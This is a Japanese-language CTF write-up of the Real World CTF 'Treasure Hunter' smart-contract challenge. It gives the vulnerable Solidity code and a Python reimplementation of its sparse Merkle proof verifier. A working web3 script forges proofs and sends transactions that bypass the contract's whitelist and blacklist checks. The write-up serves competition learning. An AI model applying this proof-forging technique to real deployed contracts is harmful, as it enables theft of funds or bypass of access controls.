1/21-23 に開催していた Real World CTF にチーム WreckTheLine で参加しました。結果は 5th/947 (得点のあるチームのみカウント) でした。
基本的に Pwn や Web が主体の CTF で、自分には取っ掛かりすらわからない問題だらけでした。そんな中で “Crypto” タグのついている問題が1つだけあったのでその問題を見てみると Cryptography 問ではなく Cryptocurrency 問でした…ですが最近 Capture the Ether をやり始めたのもあり、なんとか解けました。初 Cryptocurrency 問が解けたのは素直に嬉しいです。スマートな解き方はできなかった気がしますが、せっかくなので writeup を書きます。
Crypto (currency)
Treasure Hunter
21 solves
pragma solidity >=0.8.0 <0.9.0;
import {SMT} from "./SparseMerkleTree.sol";
contract TreasureHunter {
bytes32 public root;
SMT.Mode public smtMode = SMT.Mode.WhiteList;
bool public solved = false;
mapping(address => bool) public haveKey;
mapping(address => bool) public haveTreasureChest;
event FindKey(address indexed _from);
event PickupTreasureChest(address indexed _from);
event OpenTreasureChest(address indexed _from);
constructor() public {
root = SMT.init();
_init();
}
function _init() internal {
address[] memory hunters = new address[](8);
hunters[0] = 0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e;
hunters[1] = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
hunters[2] = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
hunters[3] = 0x6B3595068778DD592e39A122f4f5a5cF09C90fE2;
hunters[4] = 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B;
hunters[5] = 0xc00e94Cb662C3520282E6f5717214004A7f26888;
hunters[6] = 0xD533a949740bb3306d119CC777fa900bA034cd52;
hunters[7] = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
SMT.Leaf[] memory nextLeaves = new SMT.Leaf[](8);
SMT.Leaf[] memory prevLeaves = new SMT.Leaf[](8);
for (uint8 i = 0; i < hunters.length; i++) {
nextLeaves[i] = SMT.Leaf({key: hunters[i], value: 1});
prevLeaves[i] = SMT.Leaf({key: hunters[i], value: 0});
}
bytes32[] memory proof = new bytes32[](22);
proof[0] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[1] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[2] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[3] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[4] = 0x0000000000000000000000000000000000000000000000000000000000000048;
proof[5] = 0x0000000000000000000000000000000000000000000000000000000000000095;
proof[6] = 0x0000000000000000000000000000000000000000000000000000000000000048;
proof[7] = 0x0000000000000000000000000000000000000000000000000000000000000099;
proof[8] = 0x0000000000000000000000000000000000000000000000000000000000000048;
proof[9] = 0x000000000000000000000000000000000000000000000000000000000000009e;
proof[10] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[11] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[12] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[13] = 0x000000000000000000000000000000000000000000000000000000000000004c;
proof[14] = 0x0000000000000000000000000000000000000000000000000000000000000048;
proof[15] = 0x000000000000000000000000000000000000000000000000000000000000009b;
proof[16] = 0x0000000000000000000000000000000000000000000000000000000000000048;
proof[17] = 0x000000000000000000000000000000000000000000000000000000000000009c;
proof[18] = 0x0000000000000000000000000000000000000000000000000000000000000048;
proof[19] = 0x000000000000000000000000000000000000000000000000000000000000009e;
proof[20] = 0x0000000000000000000000000000000000000000000000000000000000000048;
proof[21] = 0x000000000000000000000000000000000000000000000000000000000000009f;
root = SMT.update(proof, nextLeaves, prevLeaves, root);
}
function enter(bytes32[] memory _proofs) public {
require(haveKey[msg.sender] == false);
root = SMT.updateSingleTarget(_proofs, msg.sender, root, SMT.Method.Insert);
}
function leave(bytes32[] memory _proofs) public {
require(haveTreasureChest[msg.sender] == false);
root = SMT.updateSingleTarget(_proofs, msg.sender, root, SMT.Method.Delete);
}
function findKey(bytes32[] memory _proofs) public {
require(smtMode == SMT.Mode.BlackList, "not blacklist mode");
address[] memory targets = new address[](1);
targets[0] = msg.sender;
require(SMT.verifyByMode(_proofs, targets, root, smtMode), "hunter has fallen into a trap");
haveKey[msg.sender] = true;
smtMode = SMT.Mode.WhiteList;
emit FindKey(msg.sender);
}
function pickupTreasureChest(bytes32[] memory _proofs) public {
require(smtMode == SMT.Mode.WhiteList, "not whitelist mode");
address[] memory targets = new address[](1);
targets[0] = msg.sender;
require(
SMT.verifyByMode(_proofs, targets, root, smtMode),
"hunter hasn't found the treasure chest"
);
haveTreasureChest[msg.sender] = true;
smtMode = SMT.Mode.BlackList;
emit PickupTreasureChest(msg.sender);
}
function openTreasureChest() public {
require(haveKey[msg.sender] && haveTreasureChest[msg.sender]);
solved = true;
emit OpenTreasureChest(msg.sender);
}
function isSolved() public view returns (bool) {
return solved;
}
}
pragma solidity >=0.8.0 <0.9.0;
uint256 constant SMT_STACK_SIZE = 32;
uint256 constant DEPTH = 160;
library SMT {
struct Leaf {
address key;
uint8 value;
}
enum Mode {
BlackList,
WhiteList
}
enum Method {
Insert,
Delete
}
function init() internal pure returns (bytes32) {
return 0;
}
function calcLeaf(Leaf memory a) internal pure returns (bytes32) {
if (a.value == 0) {
return 0;
} else {
return keccak256(abi.encode(a.key, a.value));
}
}
function merge(bytes32 l, bytes32 r) internal pure returns (bytes32) {
if (l == 0) {
return r;
} else if (r == 0) {
return l;
} else {
return keccak256(abi.encode(l, r));
}
}
function verifyByMode(
bytes32[] memory _proofs,
address[] memory _targets,
bytes32 _expectedRoot,
Mode _mode
) internal pure returns (bool) {
Leaf[] memory leaves = new Leaf[](_targets.length);
for (uint256 i = 0; i < _targets.length; i++) {
leaves[i] = Leaf({key: _targets[i], value: uint8(_mode)});
}
return verify(_proofs, leaves, _expectedRoot);
}
function verify(
bytes32[] memory _proofs,
Leaf[] memory _leaves,
bytes32 _expectedRoot
) internal pure returns (bool) {
return (calcRoot(_proofs, _leaves, _expectedRoot) == _expectedRoot);
}
function updateSingleTarget(
bytes32[] memory _proofs,
address _target,
bytes32 _prevRoot,
Method _method
) internal pure returns (bytes32) {
Leaf[] memory nextLeaves = new Leaf[](1);
Leaf[] memory prevLeaves = new Leaf[](1);
nextLeaves[0] = Leaf({key: _target, value: uint8(_method) ^ 1});
prevLeaves[0] = Leaf({key: _target, value: uint8(_method)});
return update(_proofs, nextLeaves, prevLeaves, _prevRoot);
}
function update(
bytes32[] memory _proofs,
Leaf[] memory _nextLeaves,
Leaf[] memory _prevLeaves,
bytes32 _prevRoot
) internal pure returns (bytes32) {
require(verify(_proofs, _prevLeaves, _prevRoot), "update proof not valid");
return calcRoot(_proofs, _nextLeaves, _prevRoot);
}
function checkGroupSorted(Leaf[] memory _leaves) internal pure returns (bool) {
require(_leaves.length >= 1);
uint160 temp = 0;
for (uint256 i = 0; i < _leaves.length; i++) {
if (temp >= uint160(_leaves[i].key)) {
return false;
}
temp = uint160(_leaves[i].key);
}
return true;
}
function getBit(uint160 key, uint256 height) internal pure returns (uint256) {
require(height <= DEPTH);
return (key >> height) & 1;
}
function parentPath(uint160 key, uint256 height) internal pure returns (uint160) {
require(height <= DEPTH);
return copyBit(key, height + 1);
}
function copyBit(uint160 key, uint256 height) internal pure returns (uint160) {
require(height <= DEPTH);
return ((key >> height) << height);
}
function calcRoot(
bytes32[] memory _proofs,
Leaf[] memory _leaves,
bytes32 _root
) internal pure returns (bytes32) {
require(checkGroupSorted(_leaves));
uint160[] memory stackKeys = new uint160[](SMT_STACK_SIZE);
bytes32[] memory stackValues = new bytes32[](SMT_STACK_SIZE);
uint256 proofIndex = 0;
uint256 leaveIndex = 0;
uint256 stackTop = 0;
while (proofIndex < _proofs.length) {
if (uint256(_proofs[proofIndex]) == 0x4c) {
proofIndex++;
require(stackTop < SMT_STACK_SIZE);
require(leaveIndex < _leaves.length);
stackKeys[stackTop] = uint160(_leaves[leaveIndex].key);
stackValues[stackTop] = calcLeaf(_leaves[leaveIndex]);
stackTop++;
leaveIndex++;
} else if (uint256(_proofs[proofIndex]) == 0x50) {
proofIndex++;
require(stackTop != 0);
require(proofIndex + 2 <= _proofs.length);
uint256 height = uint256(_proofs[proofIndex++]);
bytes32 currentProof = _proofs[proofIndex++];
require(currentProof != _root);
if (getBit(stackKeys[stackTop - 1], height) == 1) {
stackValues[stackTop - 1] = merge(currentProof, stackValues[stackTop - 1]);
} else {
stackValues[stackTop - 1] = merge(stackValues[stackTop - 1], currentProof);
}
stackKeys[stackTop - 1] = parentPath(stackKeys[stackTop - 1], height);
} else if (uint256(_proofs[proofIndex]) == 0x48) {
proofIndex++;
require(stackTop >= 2);
require(proofIndex < _proofs.length);
uint256 height = uint256(_proofs[proofIndex++]);
uint256 aSet = getBit(stackKeys[stackTop - 2], height);
uint256 bSet = getBit(stackKeys[stackTop - 1], height);
stackKeys[stackTop - 2] = parentPath(stackKeys[stackTop - 2], height);
stackKeys[stackTop - 1] = parentPath(stackKeys[stackTop - 1], height);
require(stackKeys[stackTop - 2] == stackKeys[stackTop - 1] && aSet != bSet);
if (aSet == 1) {
stackValues[stackTop - 2] = merge(
stackValues[stackTop - 1],
stackValues[stackTop - 2]
);
} else {
stackValues[stackTop - 2] = merge(
stackValues[stackTop - 2],
stackValues[stackTop - 1]
);
}
stackTop -= 1;
} else {
revert();
}
}
require(leaveIndex == _leaves.length);
require(stackTop == 1);
return stackValues[0];
}
}
TreasureHunter
の findKey
や pickupTreasureChest
を適切な引数を与えて呼び、 haveKey[msg.sender] && haveTreasureChest[msg.sender]
を満たすようにすればフラグが手に入ります。
ひとまずアカウントの発行、 faucet から ETH 取得、 contract の deploy を行います。
処理の流れを理解するため、 SMT library の calcRoot
の動作を重点的に追いました。 stack machine になっており、値 (leaves) を stack に追加したり、 stack 上の値を concat して hash を取ったりするような計算をしています。
いろいろ実験するため、 python で再実装しました。
from binascii import unhexlify
from dataclasses import dataclass
from typing import List, Sequence, Union
from Crypto.Util.number import bytes_to_long
from eth_abi.abi import encode_abi
from web3 import Web3
def my_hash(a: bytes, b: Union[int, bytes]) -> bytes:
if isinstance(b, int):
return unhexlify(Web3.keccak(encode_abi(['address', 'uint8'], ["0x" + a.hex(), b])).hex()[2:])
elif isinstance(b, bytes):
return unhexlify(Web3.keccak(encode_abi(['bytes32', 'bytes32'], [a, b])).hex()[2:])
else:
raise ValueError
@dataclass
class Leaf:
key: bytes
value: int
SMT_STACK_SIZE = 32
DEPTH = 160
def calc_leaf(leaf: Leaf) -> bytes:
if leaf.value == 0:
return b"\x00" * 32
else:
return my_hash(leaf.key, leaf.value)
def get_bit(key: int, height: int) -> int:
assert height <= DEPTH
return (key >> height) & 1
def merge(l: bytes, r: bytes) -> bytes:
if bytes_to_long(l) == 0:
return r
elif bytes_to_long(r) == 0:
return l
else:
return my_hash(l, r)
def copy_bit(key: int, height: int) -> int:
assert height <= DEPTH
return (key >> height) << height
def parent_path(key: int, height: int) -> int:
assert height <= DEPTH
return copy_bit(key, height + 1)
def calc_root(proofs: Sequence[bytes], leaves: Sequence[Leaf], root: bytes) -> bytes:
stack_keys: List[int] = [0] * SMT_STACK_SIZE
stack_values: List[bytes] = [b"\x00" * 32] * SMT_STACK_SIZE
proof_index = 0
leave_index = 0
stack_top = 0
while proof_index < len(proofs):
if bytes_to_long(proofs[proof_index]) == 0x4c:
proof_index += 1
assert stack_top < SMT_STACK_SIZE
assert leave_index < len(leaves)
stack_keys[stack_top] = bytes_to_long(leaves[leave_index].key)
stack_values[stack_top] = calc_leaf(leaves[leave_index])
stack_top += 1
leave_index += 1
# input: [0x50, height, current_proof]
# use stack_keys[-2], stack_keys[-1]
# output to the top of stack_values
elif bytes_to_long(proofs[proof_index]) == 0x50:
proof_index += 1
assert stack_top != 0
assert proof_index + 2 <= len(proofs)
height = bytes_to_long(proofs[proof_index])
proof_index += 1
current_proof = proofs[proof_index]
proof_index += 1
assert current_proof != root
if get_bit(stack_keys[stack_top - 1], height) == 1:
stack_values[stack_top - 1] = merge(current_proof, stack_values[stack_top - 1])
else:
stack_values[stack_top - 1] = merge(stack_values[stack_top - 1], current_proof)
stack_keys[stack_top - 1] = parent_path(stack_keys[stack_top - 1], height)
# input: [0x48, height]
# use stack_keys[-2], stack_keys[-1]
# output to the top of stack_values
elif bytes_to_long(proofs[proof_index]) == 0x48:
proof_index += 1
assert stack_top >= 2
assert proof_index < len(proofs)
height = bytes_to_long(proofs[proof_index])
proof_index += 1
a_set = get_bit(stack_keys[stack_top - 2], height)
b_set = get_bit(stack_keys[stack_top - 1], height)
stack_keys[stack_top - 2] = parent_path(stack_keys[stack_top - 2], height)
stack_keys[stack_top - 1] = parent_path(stack_keys[stack_top - 1], height)
assert stack_keys[stack_top - 2] == stack_keys[stack_top - 1] and a_set != b_set
if a_set == 1:
stack_values[stack_top - 2] = merge(stack_values[stack_top - 1], stack_values[stack_top - 2])
else:
stack_values[stack_top - 2] = merge(stack_values[stack_top - 2], stack_values[stack_top - 1])
stack_top -= 1
else:
raise ValueError
print(stack_keys[:stack_top])
print(stack_values[:stack_top])
assert leave_index == len(leaves)
assert stack_top == 1
return stack_values[0]
def verify(proofs: Sequence[bytes], leaves: Sequence[Leaf], expected_root: bytes) -> bool:
return calc_root(proofs, leaves, expected_root) == expected_root
def update(proofs: Sequence[bytes], next_leaves: Sequence[Leaf], prev_leaves: Sequence[Leaf], prev_root: bytes) -> bytes:
assert verify(proofs, prev_leaves, prev_root)
return calc_root(proofs, next_leaves, prev_root)
def update_single_target(proofs: Sequence[bytes], target: bytes, prev_root: bytes, method: int) -> bytes:
next_leaves = [Leaf(key=target, value=method ^ 1)]
prev_leaves = [Leaf(key=target, value=method)]
return update(proofs, next_leaves, prev_leaves, prev_root)
これで再現できているかは以下のコードで確認しました。実際の contract の root
と再計算した root
とが一致しているかを確認しています。
contract_abi
は Remix で TreasureHunter.sol
をコンパイルし、 Compilation Details から ABI を取得したものです。
from const import contract_abi
w3 = Web3(Web3.HTTPProvider("http://47.243.235.111:8545/"))
addr_contract = "0xAd0306d232E7aE7Ec4f73fd1ecc1e285f6f72945"
contract = w3.eth.contract(address=addr_contract, abi=contract_abi)
hunters = [
long_to_bytes(0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e),
long_to_bytes(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45),
long_to_bytes(0x6B175474E89094C44Da98b954EedeAC495271d0F),
long_to_bytes(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2),
long_to_bytes(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B),
long_to_bytes(0xc00e94Cb662C3520282E6f5717214004A7f26888),
long_to_bytes(0xD533a949740bb3306d119CC777fa900bA034cd52),
long_to_bytes(0xdAC17F958D2ee523a2206206994597C13D831ec7),
]
leaves = [Leaf(key=hunter, value=1) for hunter in hunters]
proofs = [
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000095, 32),
long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000099, 32),
long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000009e, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000004c, 32),
long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000009b, 32),
long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000009c, 32),
long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000009e, 32),
long_to_bytes(0x0000000000000000000000000000000000000000000000000000000000000048, 32),
long_to_bytes(0x000000000000000000000000000000000000000000000000000000000000009f, 32),
]
root = calc_root(proofs, leaves, b"\x00" * 32)
assert root == contract.functions.root().call()
まず pickupTreasureChest
を通すような引数 proofs
を考えます。
init
でセットされた root
を、 Leaf(key=msg.sender, value=1)
から生成するのは難しそうなため、 pickupTreasureChest
の前に enter
で root
を更新します。
enter
では [Leaf(key=msg.sender, value=0)]
が leaves のときに calcRoot
の結果が root
となるような proofs
を指定できます。 python 実装の calc_root
で init
時の stack の変化を観察すると、 root
の hash が計算されるときの2つの hash がわかります。すなわち root = hash(stack[-1], stack[-2])
となる stack
です。
これを求めるため、以下の get_stack_values_history
を書きました。ほぼ calc_root
のコピペですが。
def get_stack_values_history(proofs: Sequence[bytes], leaves: Sequence[Leaf], root: bytes) -> Sequence[Sequence[bytes]]:
stack_keys: List[int] = [0] * SMT_STACK_SIZE
stack_values: List[bytes] = [b"\x00" * 32] * SMT_STACK_SIZE
history_stack = []
proof_index = 0
leave_index = 0
stack_top = 0
while proof_index < len(proofs):
if bytes_to_long(proofs[proof_index]) == 0x4c:
proof_index += 1
assert stack_top < SMT_STACK_SIZE
assert leave_index < len(leaves)
stack_keys[stack_top] = bytes_to_long(leaves[leave_index].key)
stack_values[stack_top] = calc_leaf(leaves[leave_index])
stack_top += 1
leave_index += 1
# input: [0x50, height, current_proof]
# use stack_keys[-2], stack_keys[-1]
# output to the top of stack_values
elif bytes_to_long(proofs[proof_index]) == 0x50:
proof_index += 1
assert stack_top != 0
assert proof_index + 2 <= len(proofs)
height = bytes_to_long(proofs[proof_index])
proof_index += 1
current_proof = proofs[proof_index]
proof_index += 1
assert current_proof != root
if get_bit(stack_keys[stack_top - 1], height) == 1:
stack_values[stack_top - 1] = merge(current_proof, stack_values[stack_top - 1])
else:
stack_values[stack_top - 1] = merge(stack_values[stack_top - 1], current_proof)
stack_keys[stack_top - 1] = parent_path(stack_keys[stack_top - 1], height)
# input: [0x48, height]
# use stack_keys[-2], stack_keys[-1]
# output to the top of stack_values
elif bytes_to_long(proofs[proof_index]) == 0x48:
proof_index += 1
assert stack_top >= 2
assert proof_index < len(proofs)
height = bytes_to_long(proofs[proof_index])
proof_index += 1
a_set = get_bit(stack_keys[stack_top - 2], height)
b_set = get_bit(stack_keys[stack_top - 1], height)
stack_keys[stack_top - 2] = parent_path(stack_keys[stack_top - 2], height)
stack_keys[stack_top - 1] = parent_path(stack_keys[stack_top - 1], height)
assert stack_keys[stack_top - 2] == stack_keys[stack_top - 1] and a_set != b_set
if a_set == 1:
stack_values[stack_top - 2] = merge(stack_values[stack_top - 1], stack_values[stack_top - 2])
else:
stack_values[stack_top - 2] = merge(stack_values[stack_top - 2], stack_values[stack_top - 1])
stack_top -= 1
else:
raise ValueError
history_stack.append(stack_values[:stack_top].copy())
assert leave_index == len(leaves)
assert stack_top == 1
return history_stack
これで求まった stack
の値を使う proofs
を作っていきます。
init
のときに使われなかった op の 0x50
に注目すると、 proofs 内の値を stack に積むことができるため、これを利用します。
以下の proofs を作ることで enter
が通って root
を更新できること、さらに pickupTreasureChest
が通ることが確認できました。
history = get_stack_values_history(proofs, leaves, b"\x00" * 32)
# To send transaction, we need another account because we don't know the private key of given account.
# tmp_acc = w3.eth.account.create()
# player = tmp_acc.address # 0x7BDf56e66e7E5C490E7166BFABDBc1EDf9B66345
# private_key = tmp_acc.privateKey.hex() # 0xa9f5f4d1184800568ed0ba05b51b088f898cd98e4170245f4aa90421e486abbd
player = "0x7BDf56e66e7E5C490E7166BFABDBc1EDf9B66345"
private_key = "0xa9f5f4d1184800568ed0ba05b51b088f898cd98e4170245f4aa90421e486abbd"
sender = long_to_bytes(int(player, 16))
proofs = [
long_to_bytes(0x4c, 32),
long_to_bytes(0x50, 32),
long_to_bytes(0, 32),
history[-2][0],
long_to_bytes(0x50, 32),
long_to_bytes(0x9f, 32),
history[-2][1],
]
# Call enter
root_updated = update_single_target(proofs, sender, root, 0)
# This means calling pickupTreasureChest results in success and haveTreasureChest[msg.sender] = true
assert verify(proofs, [Leaf(key=sender, value=1)], root_updated)
これを実際の contract の function に与えて呼び出します。 assert 文で root
が更新されたこと、 haveTreasureChest
が true になったこと、 smtMode
が切り替わっていることが確認しています。
def get_nonce(addr):
return w3.eth.get_transaction_count(addr)
def get_transaction_body(addr):
return {
"nonce": get_nonce(addr),
"gas": 1239137,
"gasPrice": 21000000000,
"value": 0,
"from": addr,
}
def send_transaction(addr, func_name: str, *func_args):
transaction_body = get_transaction_body(addr)
function_call = contract.functions[func_name](*func_args).buildTransaction(transaction_body)
signed_transaction = w3.eth.account.sign_transaction(function_call, private_key)
result = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
tx_hash = w3.eth.wait_for_transaction_receipt(result)
return tx_hash
send_transaction(player, "enter", ["0x" + proof.hex() for proof in proofs])
assert contract.functions.root().call() == root_updated
send_transaction(player, "pickupTreasureChest", ["0x" + proof.hex() for proof in proofs])
assert contract.functions.root().call() == root_updated
assert contract.functions.smtMode().call() == 0
assert contract.functions.haveTreasureChest(player).call()
続いて findKey
を通すことを考えます。こちらも前の calcRoot
での stack の値を使うことで、適切な proofs
を作れそうです。
history = get_stack_values_history(proofs, [Leaf(key=sender, value=1)], root_updated)
proofs = [
long_to_bytes(0x4c, 32),
long_to_bytes(0x50, 32),
long_to_bytes(0, 32),
history[-2][0],
long_to_bytes(0x50, 32),
long_to_bytes(0x9f, 32),
proofs[-1],
]
assert verify(proofs, [Leaf(key=sender, value=0)], root_updated)
この proofs
を使って findKey
を呼び出します。
send_transaction(player, "findKey", ["0x" + proof.hex() for proof in proofs])
assert contract.functions.smtMode().call() == 1
assert contract.functions.root().call() == root_updated
assert contract.functions.haveKey(player).call()
最後に openTreasureChest
を呼ぶことで solved
が true となり、フラグ入手の条件を満たせます。
send_transaction(player, "openTreasureChest")
assert contract.functions.isSolved().call()
rwctf{th3r3_1$_nothing_1n_7h3_7r3a5ure_chest_f7h9fupa9xabbq7a}
このようにまとめると順調な感じで解いたように見えますが、めちゃくちゃ詰まりました… (丸一日 + 数時間) Cryptocurrency 問に不慣れだったため仕方なし。今後のために詰まったポイントをメモしておきます。
- 与えられたアカウントの private key がわからない
アカウントを生成するとき、 address と token が与えられるのですが、 private key は与えられません。そのため、与えられたアカウントでは transaction を行うことができません。 以上の writeup では transaction 用のアカウントを自前で作ることでこれを解決しています。 競技中の自分は、この問題の本質は token から private key を求める部分で、これがまさしく Crypto 問なのでは、などと大きく勘違いをし、迷走していました…ずっと pasato の仕様を読み込んでいました。
- 自前の contract を deploy できない
Capture the Ether で relay contract を学んでいたので、 Solver 用の contract を自前実装し、それを使ってこの問題を解こうと考えていました。実装はこちら。
pragma solidity >=0.8.0 <0.9.0;
import {TreasureHunter} from "./TreasureHunter.sol";
contract TreasureHunterSolver {
constructor() public {
}
function enter(address _addr, bytes32[] memory _proofs) public {
TreasureHunter th = TreasureHunter(_addr);
th.enter(_proofs);
}
function leave(address _addr, bytes32[] memory _proofs) public {
TreasureHunter th = TreasureHunter(_addr);
th.leave(_proofs);
}
function findKey(address _addr, bytes32[] memory _proofs) public {
TreasureHunter th = TreasureHunter(_addr);
th.findKey(_proofs);
}
function pickupTreasureChest(address _addr, bytes32[] memory _proofs) public {
TreasureHunter th = TreasureHunter(_addr);
th.pickupTreasureChest(_proofs);
}
function openTreasureChest(address _addr) public {
TreasureHunter th = TreasureHunter(_addr);
th.openTreasureChest();
}
function isSolved(address _addr) public view returns (bool) {
TreasureHunter th = TreasureHunter(_addr);
return th.isSolved();
}
}
この contract から、問題用 contract を呼び出して問題を解こうとしました。しかし、何故か deploy ができません… deploy に使用したコードは以下になります。
solver_player = "0x7BDf56e66e7E5C490E7166BFABDBc1EDf9B66345"
solver_private_key = "0xa9f5f4d1184800568ed0ba05b51b088f898cd98e4170245f4aa90421e486abbd"
solver_transaction_body = {
"nonce": get_nonce(player),
"gas": 1239137,
"gasPrice": 21000000000,
"value": 0,
"from": solver_player,
"chainId": w3.eth.chain_id,
}
solver_contract = w3.eth.contract(abi=solver_contract_abi, bytecode=json.loads(solver_bytecode)["object"])
solver_function_call = solver_contract.constructor().buildTransaction(solver_transaction_body)
solver_signed_transaction = w3.eth.account.sign_transaction(solver_function_call, solver_private_key)
result = w3.eth.send_raw_transaction(solver_signed_transaction.rawTransaction)
# これが一生終わらない
tx_hash = w3.eth.wait_for_transaction_receipt(result)
deploy した transaction が全然 block に繋がらないようです。 これは原因はまだわかっていません。 geth の設定の問題なんですかね。 冷静に考えると relay にする必要が一切なかったため、以上の問題ではこの Solver contract は使用していません。